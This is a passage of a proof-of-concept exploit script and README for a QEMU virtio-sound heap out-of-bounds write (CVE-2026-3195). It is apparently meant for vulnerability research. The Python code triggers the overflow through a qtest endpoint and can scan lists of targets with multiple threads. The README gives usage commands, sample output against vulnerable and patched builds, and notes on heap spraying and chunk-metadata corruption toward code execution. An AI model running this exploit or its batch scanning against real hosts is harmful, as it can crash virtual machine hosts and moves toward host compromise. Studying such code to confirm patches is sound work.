with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(" %s %s - %s: %s"
% ("[+]" if ok else "[-]", label,
"Exploited" if ok else "Not vulnerable", evidence))
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Single target
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, period_bytes, iov_size, fmt_name, rate_hz,
verbose, spray=1):
header(host, port)
def log(msg):
if verbose:
print(" %s" % msg)
step(1, "Connecting to the qtest control transport...")
try:
qt = QTest(host, port, use_tls, timeout=20.0)
except OSError as exc:
done(False, "cannot reach %s:%d (%s)"
% (host, port, exc.__class__.__name__))
step(2, "Bringing up the virtio-sound device and its four virtqueues...")
step(3, "Programming an oversized period on the input stream "
"(period_bytes=0x%x)..." % period_bytes)
step(4, "Queueing an RX chain whose device-writable part is %d bytes..."
% iov_size)
step(5, "Advancing the virtual clock to fire the capture callback...")
try:
res = run_trigger(qt, period_bytes, iov_size, fmt_name, rate_hz, log,
spray=spray)
except ExploitError as exc:
section("SETUP FAILURE", str(exc))
done(False, "could not reach the vulnerable code path: %s" % exc)
fill = res["fill"]
summary = (
"allocation : g_malloc0(%d + %d) = %d bytes\n"
"declared capacity: %d bytes (iov_size %d - sizeof(virtio_snd_pcm_status) 8)\n"
"data[] begins at : offset %d, so only %d bytes of the allocation remain\n"
"callback bound : max_size = %d (raw iov_size, unclamped)\n"
"requested read : period_bytes = %d\n"
"predicted OOB : %d bytes past the allocation, each 0x%02x"
% (SIZEOF_PCM_BUFFER, res["capacity"], res["alloc_size"],
res["capacity"], iov_size, PCM_BUFFER_DATA_OFFSET, res["inbounds"],
iov_size, period_bytes, res["expected_oob"], fill)
)
section("OVERFLOW GEOMETRY", summary)
verdict, detail = classify(res, iov_size)
if verdict == "dead":
section("HOST PROCESS STATE",
"The qtest transport went away at the moment the capture "
"callback ran.\n%s\nThat transport is served by the QEMU "
"process itself, so losing it means the process terminated "
"while executing virtio_snd_pcm_in_cb()." % detail)
done(True,
"heap OOB write confirmed - %d bytes of 0x%02x written past a "
"%d-byte allocation, host QEMU process terminated"
% (res["expected_oob"], fill, res["alloc_size"]))
status = res.get("status_bytes", b"")
code = struct.unpack("<I", status[:4])[0] if len(status) >= 4 else -1
latency = struct.unpack("<I", status[4:8])[0] if len(status) >= 8 else 0
names = {S_OK: "VIRTIO_SND_S_OK", S_BAD_MSG: "VIRTIO_SND_S_BAD_MSG",
S_NOT_SUPP: "VIRTIO_SND_S_NOT_SUPP", S_IO_ERR: "VIRTIO_SND_S_IO_ERR"}
section("RX CHAIN COMPLETION",
"device-writable area = %s\n"
"status word = 0x%08x (%s)\n"
"latency_bytes = %d\n"
"used ring idx = %d -> %d"
% (status.hex() if status else "(unreadable)", code & 0xFFFFFFFF,
names.get(code, "not a virtio-snd status code"),
latency, res["used_before"], res.get("used_after", -1)))
if verdict == "overflow":
section("WHY THIS PROVES THE WRITE",
"return_rx_buffer() copies buffer->size bytes of captured "
"audio into the chain's device-writable area and only then "
"writes the 8-byte virtio_snd_pcm_status at offset "
"buffer->size. The status never landed and the area holds "
"0x%02x fill bytes instead, so buffer->size (%d) ran past the "
"%d bytes this chain could hold. Those bytes went into the "
"heap after the %d-byte allocation."
% (fill, period_bytes, res["inbounds"], res["alloc_size"]))
done(True,
"heap OOB write confirmed - %d bytes of 0x%02x written past a "
"%d-byte allocation; status trailer overwritten by captured audio"
% (res["expected_oob"], fill, res["alloc_size"]))
if verdict == "patched":
done(False,
"target is patched - the degenerate chain was returned "
"immediately with VIRTIO_SND_S_OK and no read was performed")
done(False, "payload delivered but no corruption observed (%s) - target "
"may be patched or the input stream was never started" % detail)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host",
help="Target: hostname, IP, or full URL of the "
"QEMU qtest endpoint")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=DEFAULT_PORT,
help="qtest port (default: %d)" % DEFAULT_PORT)
parser.add_argument("--period-bytes", type=lambda v: int(v, 0),
default=0x1000,
help="Bytes to write out of bounds (default: 0x1000)")
parser.add_argument("--iov-size", type=lambda v: int(v, 0), default=8,
help="Device-writable bytes in the RX chain. 8 gives a "
"zero-capacity allocation (default: 8)")
parser.add_argument("--format", default="u8", choices=sorted(FORMATS),
help="PCM format; picks the fill byte, u8 gives 0x80 "
"and signed formats give 0x00 (default: u8)")
parser.add_argument("--rate", type=int, default=48000,
choices=sorted(RATES),
help="Sample rate in Hz (default: 48000)")
parser.add_argument("--spray", type=int, default=1,
help="RX chains to queue before firing, which grooms "
"the heap into a contiguous run (max 60, "
"default: 1)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
parser.add_argument("-v", "--verbose", action="store_true",
help="Print each bring-up step")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true",
help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
period_bytes=args.period_bytes, iov_size=args.iov_size,
fmt_name=args.format, rate_hz=args.rate)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, _ = parsed if parsed else (args.host, args.port,
False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.period_bytes, args.iov_size,
args.format, args.rate, args.verbose, args.spray)#Usage
python exploit.py --host 127.0.0.1 --port 4441
python exploit.py --host 10.20.30.40 --port 4441 --period-bytes 0x10000
python exploit.py --host 10.20.30.40 --port 4441 --format s8
python exploit.py --list targets.txt --workers 20| Argument | Default | Meaning |
|---|---|---|
--host |
required | Target hostname or IP; qtest endpoint of QEMU instance |
--list FILE |
- | Batch scan mode: one target per line |
--port |
4441 |
qtest port |
--period-bytes |
0x1000 |
Bytes to write out of bounds; anything above 7 + (iov-size - 8) goes OOB |
--iov-size |
8 |
Device-writable bytes in RX chain; 8 gives zero-capacity allocation |
--format |
u8 |
PCM format; u8/u16/u32 write 0x80, signed and float write 0x00 |
--rate |
48000 |
Sample rate in Hz; controls how fast bytes accumulate |
--spray |
1 |
RX chains to queue before firing; grooms heap into contiguous allocation |
--workers |
10 |
Threads for batch mode |
-v / --verbose |
off | Print each bring-up step |
--tls / --no-tls |
auto | Override TLS detection |
#Expected Output
Against vulnerable QEMU 10.2.1 (ASan build):
[STEP 1] Connecting to the qtest control transport...
[STEP 2] Bringing up the virtio-sound device and its four virtqueues...
[STEP 3] Programming an oversized period on the input stream (period_bytes=0x1000)...
[STEP 4] Queueing an RX chain whose device-writable part is 8 bytes...
[STEP 5] Advancing the virtual clock to fire the capture callback...
--- OVERFLOW GEOMETRY ---
allocation : g_malloc0(48 + 0) = 48 bytes
declared capacity: 0 bytes (iov_size 8 - sizeof(virtio_snd_pcm_status) 8)
data[] begins at : offset 41, so only 7 bytes of the allocation remain
callback bound : max_size = 8 (raw iov_size, unclamped)
requested read : period_bytes = 4096
predicted OOB : 4089 bytes past the allocation, each 0x80
---
--- HOST PROCESS STATE ---
The qtest transport went away at the moment the capture callback ran.
qtest connection closed by peer
That transport is served by the QEMU process itself, so losing it means the
process terminated while executing virtio_snd_pcm_in_cb().
---
RESULT : SUCCESS
EVIDENCE: heap OOB write confirmed - 4089 bytes of 0x80 written past a
48-byte allocation, host QEMU process terminatedAgainst patched QEMU 10.2.2:
--- RX CHAIN COMPLETION ---
device-writable area = 0080000000000000
status word = 0x00008000 (VIRTIO_SND_S_OK)
latency_bytes = 0
used ring idx = 0 -> 9
---
RESULT : FAILURE
EVIDENCE: target is patched - the degenerate chain was returned immediately
with VIRTIO_SND_S_OK and no read was performed#Exploitation Notes
#Attack Prerequisites
- Malicious guest code with kernel-level access to the virtio-sound PCI device
- The stock Linux
virtio_snddriver never produces the required descriptor layout; a purpose-built driver or out-of-band access via qtest is needed - Input stream must be prepared and started (
stream->activetrue) - Audio backend input voice must be enabled
#Primitive Chain
The vulnerability chains through six rungs of increasing capability:
- Trigger / OOB write - Confirmed with byte-exact control up to 65 KB
- Length- and value-controlled write - 1-byte granularity via format/channels selection, constant fill values (
0x80or0x00) - Adjacent-chunk grooming - Spray allocations to place victims contiguously on the heap
- Chunk metadata corruption - Single-byte enlargement of neighbouring chunk size field (confirmed, glibc 2.41 validation prevents exploitation to rung 5)
- Info leak / ASLR defeat - Not reached in this build
- Code execution - Not reached in this build
The chain stops at rung 4 because glibc 2.41 validates the implied next chunk on the free path. Passing that check requires a plausible size value at a specific heap offset, which this RX sink cannot provide (it writes only constants). Overcoming it requires data control, which exists in the TX (playback) path but was not integrated in this analysis.
#Reliability
Single-shot and deterministic. Vulnerable builds abort immediately on the overflowing read (sanitizer) or shortly after (stock allocator free path). No timing dependencies or race windows.
#References
- CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-3195
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-3195
- OSV: https://api.osv.dev/v1/vulns/CVE-2026-3195
- Incomplete predecessor: CVE-2024-7730 (QEMU 9.1.0 partial fix)
- Fix commits:
- Red Hat advisory: https://access.redhat.com/security/cve/CVE-2026-3195 (Red Hat QEMU not affected; virtio-snd disabled at build time)
- QEMU source: https://github.com/qemu/qemu